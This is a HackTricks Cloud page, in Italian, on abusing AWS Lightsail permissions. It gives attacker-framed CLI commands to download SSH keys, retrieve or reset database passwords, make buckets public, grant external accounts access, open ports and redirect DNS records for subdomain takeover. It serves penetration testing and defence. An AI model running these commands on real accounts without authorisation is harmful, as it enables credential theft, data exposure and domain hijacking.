AWS - Lightsail Privesc
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Lightsail
Per ulteriori informazioni su Lightsail controlla:
warning
È importante notare che Lightsail non utilizza i ruoli IAM appartenenti all'utente ma a un account gestito da AWS, quindi non puoi abusare di questo servizio per privesc. Tuttavia, dati sensibili come codice, chiavi API e informazioni sul database potrebbero essere trovati in questo servizio.
lightsail:DownloadDefaultKeyPair
Questo permesso ti permetterà di ottenere le chiavi SSH per accedere alle istanze:
aws lightsail download-default-key-pair
Impatto Potenziale: Trova informazioni sensibili all'interno delle istanze.
lightsail:GetInstanceAccessDetails
Questo permesso ti permetterà di generare chiavi SSH per accedere alle istanze:
aws lightsail get-instance-access-details --instance-name <instance_name>
Impatto Potenziale: Trovare informazioni sensibili all'interno delle istanze.
lightsail:CreateBucketAccessKey
Questo permesso ti permetterà di ottenere una chiave per accedere al bucket:
aws lightsail create-bucket-access-key --bucket-name <name>
Impatto Potenziale: Trova informazioni sensibili all'interno del bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Questo permesso ti permetterà di ottenere le credenziali per accedere al database:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Impatto Potenziale: Trovare informazioni sensibili all'interno del database.
lightsail:UpdateRelationalDatabase
Questo permesso ti permetterà di cambiare la password per accedere al database:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Se il database non è pubblico, puoi anche renderlo pubblico con queste autorizzazioni con
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Impatto Potenziale: Trovare informazioni sensibili all'interno del database.
lightsail:OpenInstancePublicPorts
Questo permesso consente di aprire porte su Internet.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Impatto Potenziale: Accesso a porte sensibili.
lightsail:PutInstancePublicPorts
Questo permesso consente di aprire porte su Internet. Nota che la chiamata chiuderà qualsiasi porta aperta non specificata in essa.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Impatto Potenziale: Accesso a porte sensibili.
lightsail:SetResourceAccessForBucket
Questa autorizzazione consente di dare a un'istanza accesso a un bucket senza credenziali aggiuntive.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Impatto Potenziale: Potenziale nuovo accesso a bucket con informazioni sensibili.
lightsail:UpdateBucket
Con questo permesso un attaccante potrebbe concedere al proprio account AWS accesso in lettura sui bucket o addirittura rendere i bucket pubblici per tutti:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Impatto Potenziale: Potenziale nuovo accesso a bucket con informazioni sensibili.
lightsail:UpdateContainerService
Con questi permessi un attaccante potrebbe concedere accesso a ECR privati dal servizio container.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Impatto Potenziale: Ottenere informazioni sensibili da ECR privato
lightsail:CreateDomainEntry
Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale sul proprio indirizzo IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impatto Potenziale: Prendere il controllo di un dominio
lightsail:UpdateDomainEntry
Un attaccante con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (presa di controllo del sottodominio), o creare un record SPF che gli consente di falsificare email dal dominio, o addirittura impostare il dominio principale al proprio indirizzo IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impatto Potenziale: Prendere il controllo di un dominio
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.